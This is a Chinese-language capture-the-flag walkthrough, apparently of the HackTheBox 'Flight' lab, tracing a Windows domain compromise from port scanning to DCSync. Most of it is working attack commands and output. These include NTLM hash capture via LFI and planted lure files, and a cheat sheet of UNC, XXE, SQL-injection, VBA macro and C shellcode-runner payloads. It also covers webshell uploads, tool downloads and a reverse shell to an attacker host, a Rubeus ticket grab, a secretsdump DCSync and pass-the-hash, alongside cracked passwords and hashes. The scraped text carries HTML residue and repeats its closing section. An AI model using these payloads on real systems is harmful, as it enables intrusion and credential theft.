Windows域渗透技术深度解析：从信息收集到DCSync攻击<\/h1>

1. 信息收集阶段<\/h2>

1.1 初始扫描<\/h3>
使用nmap和masscan进行端口扫描：<\/p>
ip=<\/span>'10.10.11.187'<\/span>; itf=<\/span>'tun0'<\/span>
<\/span><\/span>if<\/span> nmap -Pn -sn "<\/span>$ip"<\/span> | grep -q "Host is up"<\/span>; then<\/span>
<\/span><\/span>  echo -e "\e[32m[+] Target <\/span>$ip is up, scanning ports...\e[0m"<\/span>
<\/span><\/span>  ports=<\/span>$(<\/span>sudo masscan -p1-65535,U:1-65535 "<\/span>$ip"<\/span> --rate=<\/span>1000<\/span> -e "<\/span>$itf"<\/span> | awk '\/open\/ {print $4}'<\/span> | cut -d '\/'<\/span> -f1 | sort -n | tr '\n'<\/span> ','<\/span> | sed 's\/,$\/\/'<\/span>)<\/span>
<\/span><\/span>  if<\/span> [<\/span> -n "<\/span>$ports"<\/span> ]<\/span>; then<\/span>
<\/span><\/span>    echo -e "\e[34m[+] Open ports found on <\/span>$ip: <\/span>$ports\e[0m"<\/span>
<\/span><\/span>    nmap -Pn -sV -sC -p "<\/span>$ports"<\/span> "<\/span>$ip"<\/span>
<\/span><\/span>  else<\/span>
<\/span><\/span>    echo -e "\e[31m[!] No open ports found on <\/span>$ip.\e[0m"<\/span>
<\/span><\/span>  fi<\/span>
<\/span><\/span>else<\/span>
<\/span><\/span>  echo -e "\e[31m[!] Target <\/span>$ip is unreachable, network is down.\e[0m"<\/span>
<\/span><\/span>fi<\/span>
<\/span><\/span><\/code><\/pre>扫描结果：<\/p>

53\/tcp: DNS<\/li>
80\/tcp: HTTP (Apache 2.4.52)<\/li>
88\/tcp: Kerberos<\/li>
135\/tcp: MSRPC<\/li>
139\/tcp: NetBIOS<\/li>
389\/tcp: LDAP (Active Directory)<\/li>
445\/tcp: SMB<\/li>
其他端口：464, 593, 636, 3268, 3269, 9389等<\/li>
<\/ul>
1.2 子域名枚举<\/h3>
使用自定义脚本进行子域名枚举：<\/p>
echo '10.10.11.187 flight.htb'<\/span> >> \/etc\/hosts
<\/span><\/span>.\/ffbuster.sh -u 'http:\/\/flight.htb'<\/span> -i '10.10.11.187'<\/span>
<\/span><\/span><\/code><\/pre>发现子域名：<\/p>

http:\/\/school.flight.htb\/<\/li>
<\/ul>
1.3 LDAP匿名查询测试<\/h3>
尝试匿名LDAP查询：<\/p>
ldapsearch -x -H ldap:\/\/10.10.11.187 -b "dc=flight,dc=htb"<\/span> "(objectClass=*)"<\/span>
<\/span><\/span>ldapsearch -x -H ldap:\/\/10.10.11.187 -b "dc=school,dc=flight,dc=htb"<\/span> "(objectClass=*)"<\/span>
<\/span><\/span><\/code><\/pre>结果：需要认证<\/p>
1.4 SMB枚举<\/h3>
列出SMB共享：<\/p>
smbclient -L \/\/10.10.11.187 -m SMB2
<\/span><\/span><\/code><\/pre>1.5 DNS查询<\/h3>
查询DNS记录：<\/p>
dig @10.10.11.187 flight.htb ANY
<\/span><\/span><\/code><\/pre>发现主DNS服务器：g0.flight.htb<\/p>
2. 漏洞利用阶段<\/h2>
2.1 LFI漏洞利用与NTLM泄露<\/h3>
在school.flight.htb发现LFI漏洞：<\/p>
http:\/\/school.flight.htb\/Index.php?view=C:\/windows\/win.ini
<\/code><\/pre>
利用LFI触发NTLM认证泄露：<\/p>

启动Responder：<\/li>
<\/ol>
responder -I tun0
<\/span><\/span><\/code><\/pre>
触发NTLM认证：<\/li>
<\/ol>
curl http:\/\/school.flight.htb\/Index.php?view=<\/span>\/\/10.10.16.3\/SEND
<\/span><\/span><\/code><\/pre>获取到的NTLM哈希：<\/p>
svc_apache::flight:25a841660b3964af:0B7644643AE119976A7F7D72C07F85E5:010100000000000000AF3B5FBEBFDB01E677529BA37425E60000000002000800490035003200440001001E00570049004E002D0047004300500045004C004300490031004A004A00510004003400570049004E002D0047004300500045004C004300490031004A004A0051002E0049003500320044002E004C004F00430041004C000300140049003500320044002E004C004F00430041004C000500140049003500320044002E004C004F00430041004C000700080000AF3B5FBEBFDB01060004000200000008003000300000000000000000000000003000007F658D108DDF4A13040D3754A755633B13D25387A2501C4E5852ACC585B2A2C60A0010000000000000000000000000000000000009001E0063006900660073002F00310030002E00310030002E00310036002E0033000000000000000000
<\/code><\/pre>
使用Hashcat破解：<\/p>
hashcat -m 5600<\/span> -a 0<\/span> hashes.txt rockyou.txt
<\/span><\/span><\/code><\/pre>获取凭证：<\/p>

用户名：svc_apache<\/li>
密码：S@Ss!K@*t13<\/li>
<\/ul>
2.2 SMB枚举与SID收集<\/h3>
使用获取的凭证枚举SMB：<\/p>
smbmap -H 10.10.11.187 -u svc_apache -p 'S@Ss!K@*t13'<\/span>
<\/span><\/span><\/code><\/pre>发现共享：NETLOGON, Shared, SYSVOL, Users, Web<\/p>
使用lookupsid.py收集SID信息：<\/p>
lookupsid.py 10.10.11.187\/svc_apache:'S@Ss!K@t13'<\/span>@10.10.11.187
<\/span><\/span><\/code><\/pre>发现多个用户账户，包括：<\/p>

Administrator<\/li>
Guest<\/li>
krbtgt<\/li>
Domain Admins<\/li>
svc_apache<\/li>
S.Moon<\/li>
C.Bum等<\/li>
<\/ul>
2.3 密码喷洒攻击<\/h3>
使用CrackMapExec进行密码喷洒：<\/p>
crackmapexec smb 10.10.11.187 -u .\/users -p 'S@Ss!K@*t13'<\/span> --continue-on-success
<\/span><\/span><\/code><\/pre>发现用户S.Moon使用相同密码<\/p>
2.4 NTLM泄露技术总结<\/h3>
多种触发NTLM泄露的技术：<\/p>

LFI漏洞<\/strong>：<\/li>
<\/ol>
http:\/\/host.tld\/?page=\/\/11.22.33.44\/@OsandaMalith
<\/code><\/pre>

XXE漏洞<\/strong>：<\/li>
<\/ol>
<?xml version="1.0" encoding="ISO-8859-1"?><\/span>
<\/span><\/span><!DOCTYPE root [
<\/span><\/span><\/span><!ENTITY xxe SYSTEM "php:\/\/filter\/convert.base64-encode\/resource=\/\/11.22.33.44\/@OsandaMalith" ><\/span>]>
<\/span><\/span><root><\/span>
<\/span><\/span>  <name><\/name><\/span>
<\/span><\/span>  <tel><\/tel><\/span>
<\/span><\/span>  <email><\/span>OUT&xxe;OUT<\/email><\/span>
<\/span><\/span>  <password><\/password><\/span>
<\/span><\/span><\/root><\/span>
<\/span><\/span><\/code><\/pre>
XPath注入<\/strong>：<\/li>
<\/ol>
http:\/\/host.tld\/?title=Foundation&type=*&rent_days=* and doc('\/\/35.164.153.224\/@OsandaMalith')
<\/code><\/pre>

MySQL注入<\/strong>：<\/li>
<\/ol>
http:\/\/host.tld\/index.php?id=1' union select 1,2,load_file('\\\\192.168.0.100\\@OsandaMalith'),4;%00
<\/code><\/pre>

Regsvr32<\/strong>：<\/li>
<\/ol>
regsvr32 \/s \/u \/i:\/\/35.164.153.224\/@OsandaMalith scrobj.dll
<\/code><\/pre>

批处理文件<\/strong>：<\/li>
<\/ol>
echo<\/span> 1 > \/\/192.168.0.1\/abc
<\/span><\/span>pushd<\/span> \\192.168.0.1\abc
<\/span><\/span>cmd \/k \\192.168.0.1\abc
<\/span><\/span>cmd \/c \\192.168.0.1\abc
<\/span><\/span>start<\/span> \\192.168.0.1\abc
<\/span><\/span>mkdir<\/span> \\192.168.0.1\abc
<\/span><\/span>type<\/span> \\192.168.0.1\abc
<\/span><\/span>dir<\/span> \\192.168.0.1\abc
<\/span><\/span><\/code><\/pre>
Autorun.inf<\/strong>：<\/li>
<\/ol>
[autorun]<\/span>
<\/span><\/span>open<\/span>=<\/span>\\35.164.153.224\setup.exe<\/span>
<\/span><\/span>icon<\/span>=<\/span>something.ico<\/span>
<\/span><\/span>action<\/span>=<\/span>open Setup.exe<\/span>
<\/span><\/span><\/code><\/pre>
SCF文件<\/strong>：<\/li>
<\/ol>
[Shell]<\/span>
<\/span><\/span>Command<\/span>=<\/span>2<\/span>
<\/span><\/span>IconFile<\/span>=<\/span>\\35.164.153.224\test.ico<\/span>
<\/span><\/span>[Taskbar]<\/span>
<\/span><\/span>Command<\/span>=<\/span>ToggleDesktop<\/span>
<\/span><\/span><\/code><\/pre>
Desktop.ini<\/strong>：<\/li>
<\/ol>
mkdir<\/span> openMe
<\/span><\/span>attrib +s openMe
<\/span><\/span>cd<\/span> openMe
<\/span><\/span>echo<\/span> [.ShellClassInfo] > desktop.ini
<\/span><\/span>echo<\/span> IconResource=\\192.168.0.1\aa >> desktop.ini
<\/span><\/span>attrib +s +h desktop.ini
<\/span><\/span><\/code><\/pre>
快捷方式文件(.lnk)<\/strong>：<\/li>
<\/ol>
Set shl = CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
currentFolder = shl.CurrentDirectory
Set sc = shl.CreateShortcut(fso.BuildPath(currentFolder, "StealMyHashes.lnk"))
sc.TargetPath = "\\35.164.153.224\@OsandaMalith"
sc.WindowStyle = 1
sc.HotKey = "Ctrl+Alt+O"
sc.IconLocation = "%windir%\system32\shell32.dll, 3"
sc.Description = "I will Steal your Hashes"
sc.Save
<\/code><\/pre>

PowerShell<\/strong>：<\/li>
<\/ol>
Invoke-Item \\192.168.0.1\aa
<\/span><\/span>Get-Content \\192.168.0.1\aa
<\/span><\/span>Start-Process \\192.168.0.1\aa
<\/span><\/span>
<\/span><\/span>$objShell = New-Object -ComObject WScript.Shell
<\/span><\/span>$lnk = $objShell.CreateShortcut("StealMyHashes.lnk"<\/span>)
<\/span><\/span>$lnk.TargetPath = "\\35.164.153.224\@OsandaMalith"<\/span>
<\/span><\/span>$lnk.WindowStyle = 1
<\/span><\/span>$lnk.IconLocation = "$env:windir\system32\shell32.dll, 3"<\/span>
<\/span><\/span>$lnk.Description = "I will Steal your Hashes"<\/span>
<\/span><\/span>$lnk.HotKey = "Ctrl+Alt+O"<\/span>
<\/span><\/span>$lnk.Save()
<\/span><\/span><\/code><\/pre>
Internet快捷方式(.url)<\/strong>：<\/li>
<\/ol>
echo<\/span> [InternetShortcut] > stealMyHashes.url
<\/span><\/span>echo<\/span> URL=file:\/\/192.168.0.1\/@OsandaMalith >> stealMyHashes.url
<\/span><\/span><\/code><\/pre>
注册表自动运行<\/strong>：<\/li>
<\/ol>
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
<\/code><\/pre>

Word\/Excel宏<\/strong>：<\/li>
<\/ol>
#If Vba7 Then
Private Declare PtrSafe Function CreateThread Lib "kernel32" ( _
  ByVal lpThreadAttributes As Long, _
  ByVal dwStackSize As Long, _
  ByVal lpStartAddress As LongPtr, _
  lpParameter As Long, _
  ByVal dwCreationFlags As Long, _
  lpThreadId As Long) As LongPtr
Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" ( _
  ByVal lpAddress As Long, _
  ByVal dwSize As Long, _
  ByVal flAllocationType As Long, _
  ByVal flProtect As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" ( _
  ByVal Destination As LongPtr, _
  ByRef Source As Any, _
  ByVal Length As Long) As LongPtr
#Else
Private Declare Function CreateThread Lib "kernel32" ( _
  ByVal lpThreadAttributes As Long, _
  ByVal dwStackSize As Long, _
  ByVal lpStartAddress As Long, _
  lpParameter As Long, _
  ByVal dwCreationFlags As Long, _
  lpThreadId As Long) As Long
Private Declare Function VirtualAlloc Lib "kernel32" ( _
  ByVal lpAddress As Long, _
  ByVal dwSize As Long, _
  ByVal flAllocationType As Long, _
  ByVal flProtect As Long) As Long
Private Declare Function RtlMoveMemory Lib "kernel32" ( _
  ByVal Destination As Long, _
  ByRef Source As Any, _
  ByVal Length As Long) As Long
#End If

Const MEM_COMMIT = &H1000
Const PAGE_EXECUTE_READWRITE = &H40

Sub Auto_Open()
  Dim source As Long, i As Long
#If Vba7 Then
  Dim lpMemory As LongPtr, lResult As LongPtr
#Else
  Dim lpMemory As Long, lResult As Long
#End If
  Dim bShellcode(376) As Byte
  
  ' Shellcode here...
  
  lpMemory = VirtualAlloc(0, UBound(bShellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE)
  For i = LBound(bShellcode) To UBound(bShellcode)
    source = bShellcode(i)
    lResult = RtlMoveMemory(lpMemory + i, source, 1)
  Next i
  lResult = CreateThread(0, 0, lpMemory, 0, 0, 0)
End Sub

Sub AutoOpen()
  Auto_Open
End Sub

Sub Workbook_Open()
  Auto_Open
End Sub
<\/code><\/pre>

C Shellcode<\/strong>：<\/li>
<\/ol>
#include<\/span> <stdlib.h><\/span>
<\/span><\/span><\/span>#include<\/span> <stdio.h><\/span>
<\/span><\/span><\/span>#include<\/span> <string.h><\/span>
<\/span><\/span><\/span>#include<\/span> <windows.h><\/span>
<\/span><\/span><\/span><\/span>
<\/span><\/span>int<\/span> main<\/span>() {
<\/span><\/span>  char<\/span> *<\/span>shellcode =<\/span> "<\/span>\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x4c\x03\x02\x02\x81\xf1\x02\x02<\/span>"<\/span>
<\/span><\/span>  "<\/span>\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x05\x0f\x44\xc6\xaa<\/span>"<\/span>
<\/span><\/span>  \/\/ ... more shellcode ...
<\/span><\/span><\/span><\/span>  "<\/span>\x05\x2f\x2f\x65\x72\x72\x6f\x72\x2f\x61\x61\x05<\/span>"<\/span>;
<\/span><\/span>  
<\/span><\/span>  DWORD oldProtect;
<\/span><\/span>  wprintf(L<\/span>"Length : %d bytes<\/span>\n<\/span>@OsandaMalith"<\/span>, strlen(shellcode));
<\/span><\/span>  
<\/span><\/span>  BOOL ret =<\/span> VirtualProtect(shellcode, strlen(shellcode), PAGE_EXECUTE_READWRITE, &<\/span>oldProtect);
<\/span><\/span>  if<\/span> (!<\/span>ret) {
<\/span><\/span>    fprintf(stderr, "%s"<\/span>, "Error Occured"<\/span>);
<\/span><\/span>    return<\/span> EXIT_FAILURE;
<\/span><\/span>  }
<\/span><\/span>  
<\/span><\/span>  ((void<\/span>(*<\/span>)(void<\/span>))shellcode)();
<\/span><\/span>  VirtualProtect(shellcode, strlen(shellcode), oldProtect, &<\/span>oldProtect);
<\/span><\/span>  return<\/span> EXIT_SUCCESS;
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>2.5 使用ntlm_theft生成恶意文件<\/h3>
python3 ntlm_theft.py -g all -s 10.10.16.3 -f exp
<\/span><\/span><\/code><\/pre>上传到SMB共享并等待用户访问：<\/p>
smbclient \/\/10.10.11.187\/shared -U S.Moon 'S@Ss!K@*t13'<\/span>
<\/span><\/span>smb: \><\/span> prompt off
<\/span><\/span>smb: \><\/span> mput *
<\/span><\/span><\/code><\/pre>捕获到的NTLM哈希：<\/p>
c.bum::flight.htb:e7919f91ff88c3c3:BBDD5BEBDFF1CD50819EAD1E726372C2:010100000000000080F3FEC6D8BFDB01FD44891AF8139BBE0000000002000800470037004A00580001001E00570049004E002D004600450042004500440042005700580037005900350004003400570049004E002D00460045004200450044004200570058003700590035002E00470037004A0058002E004C004F00430041004C0003001400470037004A0058002E004C004F00430041004C0005001400470037004A0058002E004C004F00430041004C000700080080F3FEC6D8BFDB01060004000200000008003000300000000000000000000000003000007F658D108DDF4A13040D3754A755633B13D25387A2501C4E5852ACC585B2A2C60A0010000000000000000000000000000000000009001E0063006900660073002F00310030002E00310030002E00310036002E0033000000000000000000
<\/code><\/pre>
破解哈希：<\/p>
hashcat -m 5600<\/span> -a 0<\/span> hashes.txt rockyou.txt
<\/span><\/span><\/code><\/pre>获取凭证：<\/p>

用户名：c.bum<\/li>
密码：Tikkycoll_431012284<\/li>
<\/ul>
3. 横向移动<\/h2>
3.1 获取初始shell<\/h3>
使用p0wny-shell获取webshell：<\/p>
smbclient \/\/10.10.11.187\/Web -U c.bum 'Tikkycoll_431012284'<\/span>
<\/span><\/span>smb: \><\/span> cd school.flight.htb
<\/span><\/span>smb: \s<\/span>chool.flight.htb\><\/span> put p0wny.php
<\/span><\/span><\/code><\/pre>访问：<\/p>
http:\/\/school.flight.htb\/p0wny.php
<\/code><\/pre>
3.2 使用RunasCS提升权限<\/h3>
下载并执行RunasCS：<\/p>
powershell -exec bypass -c "Invoke-WebRequest 'http:\/\/10.10.16.3\/RunasCs.exe' -OutFile 'RunasCs.exe'"<\/span>
<\/span><\/span>RunasCs.exe c.bum Tikkycoll_431012284 -r 10.10.16.3:<\/span>443 powershell
<\/span><\/span><\/code><\/pre>获取user.txt：<\/p>
0d28859d267bd9b701fdedb4b5b1df0c
<\/code><\/pre>
3.3 使用KTOR探测内网服务<\/h3>
KTOR是一个PowerShell脚本，用于探测本地内网开放的HTTP服务器：<\/p>
Set-ExecutionPolicy RemoteSigned -Scope CurrentUser
<\/span><\/span>powershell -exec bypass -c "Invoke-WebRequest 'http:\/\/10.10.16.3\/ktor.ps1' -OutFile 'ktor.ps1'"<\/span>
<\/span><\/span>.\ktor.ps1 -Local
<\/span><\/span><\/code><\/pre>发现：<\/p>

127.0.0.1:80 - HTTP detected - Title: g0 Aviation<\/li>
127.0.0.1:8000 - HTTP detected - Title: Flight - Travel and Tour<\/li>
<\/ul>
3.4 使用Chisel建立隧道<\/h3>

启动Chisel服务器：<\/li>
<\/ol>
chisel server -p 8888<\/span> --reverse
<\/span><\/span><\/code><\/pre>
客户端连接：<\/li>
<\/ol>
powershell -exec bypass -c "Invoke-WebRequest 'http:\/\/10.10.16.3\/chisel.exe' -OutFile 'chisel.exe'"<\/span>
<\/span><\/span>.\chisel.exe client 10.10.16.3:<\/span>8888 R:8001:<\/span>127.0.0.1:<\/span>8000
<\/span><\/span><\/code><\/pre>访问内部服务：<\/p>
http:\/\/127.0.0.1:8001\/
<\/code><\/pre>
3.5 上传ASPX Webshell<\/h3>
检查目录权限：<\/p>
icacls development
<\/span><\/span><\/code><\/pre>上传ASPX webshell：<\/p>
powershell -exec bypass -c "Invoke-WebRequest 'http:\/\/10.10.16.3\/shell.aspx' -OutFile 'shell.aspx'"<\/span>
<\/span><\/span><\/code><\/pre>访问：<\/p>
http:\/\/127.0.0.1:8001\/shell.aspx
<\/code><\/pre>
4. 权限提升<\/h2>
4.1 使用Rubeus进行Kerberos攻击<\/h3>

获取域控制器信息：<\/li>
<\/ol>
nltest \/dsgetdc:<\/span>flight.htb
<\/span><\/span><\/code><\/pre>发现域控制器：g0.flight.htb<\/p>

下载Rubeus：<\/li>
<\/ol>
powershell -exec bypass -c "Invoke-WebRequest 'http:\/\/10.10.16.3\/Ad-Domain\/Rubeus.exe' -OutFile 'Rubeus.exe'"<\/span>
<\/span><\/span><\/code><\/pre>
执行TGT委派攻击：<\/li>
<\/ol>
.\Rubeus.exe tgtdeleg \/nowrap
<\/span><\/span><\/code><\/pre>获取到的Kerberos TGT：<\/p>
doIFVDCCBVCgAwIBBaEDAgEWooIEZDCCBGBhggRcMIIEWKADAgEFoQwbCkZMSUdIVC5IVEKiHzAdoAMCAQKhFjAUGwZrcmJ0Z3QbCkZMSUdIVC5IVEKjggQgMIIEHKADAgESoQMCAQKiggQOBIIECirDVsk\/28IziMZVuL1w4suFGMiiOfDqPcwvpyZS1mpdlrNv\/Qt32qdlUHFrX9mpxfX\/t9Wrxp+vPOxzHkP4f3FuRkX6hnwAI2ErkGVwi1t\/d2f8cXYrRAtMppZiDmcHGogdAN0BuC+RC3OV5ohkk4ppzRiT11f\/f0CrI\/BtSdVBWgpIL4srt5IyJdeXZWZjOhvjkM3IJR70I0ahZh6vYinY3tg+kyk36zgAm4rUhJyh67OWQULtUDnXWK3RE4hU9Dh25SxbuzKOAaivB5C89Di5hQAkhWW9EqEz3E0\/QDOFdsFzPcbVBWAEmNuwW6eZvJ\/joUcaawonOt+f8mn8N\/oZt114qugq+Ea3\/O0TbGRKZwwdvsYeuIcDNP6dNx+RQPPKESp2tXosylf3gP0zemFrvm7+sFgv9DRsmDy\/hdYFhPDatUGt9rX7jglAi5SqnacMIJehG+aVDv019DudQQq7otARZWI2S5Iq7r7XBZPVxnRunecQ1KXFoJzZD95Y8EjsEv1Wqazg97v2GXvfrxaHKLC+i6d0oUa47uiRYyrbinJlws6SwJ5jEwbS6412HwtympvjWGm7U5hEdeSoKJ1TJKM5UmQM7hkB+kKEgeTZQ7l4kHPBbufEJmMdh0qRdEWt2X\/1jzH607OAVEALSchUDYOFJSGuqc\/Glb8p\/QJqS167mS8ATZH\/epuvO5WPzjMXf1EOLxvNfdKHtW7KS7\/JYOZ+QVa4UhcOfien4J4IYkxZFcb8hDvQ7Bs1nyrcgvhFZ2cUK3mT2E44wLLIR4Bw5XiBX\/g0uRLYS+X6IF8CYyQNzKoxotgpzkh6V4izMGGqzCxMw5w1j2wOj0mxCXYJ323uoML9FWKSlOvx2FNQgIZv5M8BAaBKKXZpBwEcuChLR3RlQXTJ\/ncQtc6s8RwCwDk6jWxMIjk7fuFp19rVNffFE9ltBeUKam00cx0UKfCi9xSGVLG0ATDrcylNjRzui2MBf4X7xE9TnU6WnIt2wzIxQUQEvUQlFTA5kWgvlXmSC50ApalNI979R7zVTpeGJ67smEzWjr8uXUSLjuz7m+luFz9ZvmnDdfBi7WufJZp6ptMOzfPibdGHLhMv3Zbgz2FbPiGH7hlsZLxdfTLTjvSsxCPJ4C+OQTnaLECARNPlf\/CYavAR3O8XGtaCoBTGnoNkX9Vx94qdv4EA2QjnuCeJN5nXygENA4mj4jFRBfrJ1pPnbmk8HDfKUA4hVRIx8Wn5YHdsNx1o148OGVL28Updt+QZrGij6UdE8RUmhOIk6HMP66Fvj+st0vdcHsbMf7G94CK+O1Zxd32a7yPm9u0CGaT08630tlTjOR5OEso4ZgB\/+BNczU746Fvef11PdpwLxNRjXSa+o4HbMIHYoAMCAQCigdAEgc19gcowgceggcQwgcEwgb6gKzApoAMCARKhIgQgh\/7tRpnqQ1n4fiF\/dWqB3ClpkvNGzh8HT4PO4XWxCx2hDBsKRkxJR0hULkhUQqIQMA6gAwIBAaEHMAUbA0cwJKMHAwUAYKEAAKURGA8yMDI1MDUwODIxMDM1NVqmERgPMjAyNTA1MDkwNzAzNTVapxEYDzIwMjUwNTE1MjEwMzU1WqgMGwpGTElHSFQuSFRCqR8wHaADAgECoRYwFBsGa3JidGd0GwpGTElHSFQuSFRC
<\/code><\/pre>
4.2 使用minikerberos转换票据格式<\/h3>
minikerberos-kirbi2ccache \/tmp\/ticket.kirbi \/tmp\/ticket.ccache
<\/span><\/span>export KRB5CCNAME=<\/span>ticket.ccache
<\/span><\/span><\/code><\/pre>4.3 DCSync攻击<\/h3>

同步AD域控时间：<\/li>
<\/ol>
sntp flight.htb
<\/span><\/span><\/code><\/pre>
执行DCSync攻击：<\/li>
<\/ol>
secretsdump.py -k -no-pass g0.flight.htb -just-dc-user administrator
<\/span><\/span><\/code><\/pre>获取到的管理员哈希：<\/p>
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:43bbfc530bab76141b12c8446e30c17c:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:08c3eb806e4a83cdc660a54970bf3f3043256638aea2b62c317feffb75d89322
Administrator:aes128-cts-hmac-sha1-96:735ebdcaa24aad6bf0dc154fcdcb9465
Administrator:des-cbc-md5:c7754cb5498c2a2f
[*] Cleaning up...
<\/code><\/pre>
4.4 获取最终权限<\/h3>
使用psexec获取管理员shell：<\/p>
psexec.py administrator@flight.htb -hashes aad3b435b51404eeaad3
<\/span><\/span><\/code><\/pre>
Windows域渗透技术深度解析：从信息收集到DCSync攻击<\/h1>

1. 信息收集阶段<\/h2>

2. 漏洞利用阶段<\/h2>

3. 横向移动<\/h2>

4. 权限提升<\/h2>

4.4 获取最终权限<\/h3> 使用psexec获取管理员shell：<\/p> psexec.py administrator@flight.htb -hashes aad3b435b51404eeaad3 <\/span><\/span><\/code><\/pre>

4.4 获取最终权限<\/h3>
使用psexec获取管理员shell：<\/p>
`psexec.py administrator@flight.htb -hashes aad3b435b51404eeaad3 <\/span><\/span><\/code><\/pre>`
